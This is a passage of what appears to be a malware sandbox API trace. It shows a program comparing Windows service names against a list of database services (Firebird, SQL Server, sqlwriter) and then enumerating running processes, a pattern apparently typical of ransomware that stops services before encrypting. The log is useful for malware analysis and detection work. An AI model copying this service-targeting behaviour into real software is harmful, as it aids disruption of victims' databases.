lpString2="DeviceAssociationService") returned 1 [0143.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0143.736] lstrlenW (lpString="Dhcp") returned 4 [0143.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0143.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0143.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0143.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0143.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0143.736] lstrlenW (lpString="Dnscache") returned 8 [0143.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0143.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0143.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0143.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0143.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0143.737] lstrlenW (lpString="DoSvc") returned 5 [0143.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0143.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0143.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0143.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0143.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0143.737] lstrlenW (lpString="DPS") returned 3 [0143.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0143.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0143.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0143.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0143.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0143.737] lstrlenW (lpString="DusmSvc") returned 7 [0143.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0143.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0143.737] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0143.737] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0143.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0143.737] lstrlenW (lpString="EventLog") returned 8 [0143.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0143.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0143.737] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0143.737] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0143.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0143.737] lstrlenW (lpString="EventSystem") returned 11 [0143.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0143.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0143.737] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0143.737] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0143.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0143.738] lstrlenW (lpString="FontCache") returned 9 [0143.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0143.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0143.738] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0143.738] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0143.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0143.738] lstrlenW (lpString="gpsvc") returned 5 [0143.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0143.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0143.738] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0143.738] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0143.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0143.738] lstrlenW (lpString="iphlpsvc") returned 8 [0143.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0143.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0143.738] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0143.738] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0143.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0143.738] lstrlenW (lpString="KeyIso") returned 6 [0143.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0143.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0143.738] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0143.738] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0143.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0143.738] lstrlenW (lpString="LanmanServer") returned 12 [0143.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0143.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0143.738] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0143.738] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0143.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0143.738] lstrlenW (lpString="LanmanWorkstation") returned 17 [0143.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.738] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0143.739] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0143.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0143.739] lstrlenW (lpString="lfsvc") returned 5 [0143.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0143.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0143.739] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0143.739] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0143.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0143.739] lstrlenW (lpString="lmhosts") returned 7 [0143.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0143.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0143.739] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0143.739] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0143.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0143.739] lstrlenW (lpString="LSM") returned 3 [0143.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0143.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0143.739] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0143.739] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0143.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0143.739] lstrlenW (lpString="MapsBroker") returned 10 [0143.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0143.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0143.739] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0143.739] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0143.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0143.739] lstrlenW (lpString="MpsSvc") returned 6 [0143.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0143.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0143.739] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0143.739] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0143.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0143.739] lstrlenW (lpString="NcbService") returned 10 [0143.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0143.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0143.740] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0143.740] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0143.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0143.740] lstrlenW (lpString="netprofm") returned 8 [0143.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0143.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0143.740] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0143.740] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0143.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0143.740] lstrlenW (lpString="NlaSvc") returned 6 [0143.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0143.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0143.740] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0143.740] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0143.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0143.740] lstrlenW (lpString="nsi") returned 3 [0143.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0143.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0143.740] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0143.740] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0143.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0143.740] lstrlenW (lpString="PcaSvc") returned 6 [0143.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0143.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0143.740] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0143.740] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0143.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0143.740] lstrlenW (lpString="PlugPlay") returned 8 [0143.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0143.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0143.740] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0143.740] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0143.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0143.741] lstrlenW (lpString="Power") returned 5 [0143.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0143.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0143.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0143.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0143.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0143.741] lstrlenW (lpString="ProfSvc") returned 7 [0143.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0143.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0143.741] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0143.741] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0143.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0143.741] lstrlenW (lpString="RpcEptMapper") returned 12 [0143.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.741] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0143.741] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0143.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0143.741] lstrlenW (lpString="RpcSs") returned 5 [0143.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0143.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0143.741] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0143.741] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0143.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0143.741] lstrlenW (lpString="SamSs") returned 5 [0143.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0143.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0143.741] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0143.741] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0143.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0143.741] lstrlenW (lpString="Schedule") returned 8 [0143.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0143.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0143.742] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0143.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0143.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0143.742] lstrlenW (lpString="SecurityHealthService") returned 21 [0143.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0143.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0143.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0143.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0143.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0143.742] lstrlenW (lpString="SENS") returned 4 [0143.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0143.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0143.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0143.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0143.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0143.742] lstrlenW (lpString="ShellHWDetection") returned 16 [0143.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.742] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0143.742] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0143.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0143.742] lstrlenW (lpString="Spooler") returned 7 [0143.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0143.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0143.742] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0143.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0143.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0143.742] lstrlenW (lpString="SSDPSRV") returned 7 [0143.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0143.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0143.742] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0143.742] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0143.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0143.743] lstrlenW (lpString="StateRepository") returned 15 [0143.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0143.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0143.743] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0143.743] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0143.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0143.743] lstrlenW (lpString="SysMain") returned 7 [0143.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0143.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0143.743] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0143.743] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0143.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e780e0 | out: hHeap=0x5a0000) returned 1 [0143.743] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10cc [0144.276] Process32FirstW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.279] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0144.280] lstrlenW (lpString="System") returned 6 [0144.280] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0144.281] lstrlenW (lpString="smss.exe") returned 8 [0144.281] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.282] lstrlenW (lpString="csrss.exe") returned 9 [0144.282] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0144.283] lstrlenW (lpString="wininit.exe") returned 11 [0144.283] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.284] lstrlenW (lpString="csrss.exe") returned 9 [0144.284] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0144.285] lstrlenW (lpString="winlogon.exe") returned 12 [0144.285] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0144.286] lstrlenW (lpString="services.exe") returned 12 [0144.286] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0144.287] lstrlenW (lpString="lsass.exe") returned 9 [0144.287] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.287] lstrlenW (lpString="svchost.exe") returned 11 [0144.287] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0144.288] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0144.288] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0144.289] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0144.289] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.290] lstrlenW (lpString="svchost.exe") returned 11 [0144.290] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0144.291] lstrlenW (lpString="dwm.exe") returned 7 [0144.291] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.291] lstrlenW (lpString="svchost.exe") returned 11 [0144.291] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.292] lstrlenW (lpString="svchost.exe") returned 11 [0144.303] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.304] lstrlenW (lpString="svchost.exe") returned 11 [0144.304] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.304] lstrlenW (lpString="svchost.exe") returned 11 [0144.304] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.305] lstrlenW (lpString="svchost.exe") returned 11 [0144.305] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.306] lstrlenW (lpString="svchost.exe") returned 11 [0144.306] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.307] lstrlenW (lpString="svchost.exe") returned 11 [0144.307] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.308] lstrlenW (lpString="svchost.exe") returned 11 [0144.308] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.309] lstrlenW (lpString="svchost.exe") returned 11 [0144.309] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0144.309] lstrlenW (lpString="spoolsv.exe") returned 11 [0144.309] Process32NextW (in: 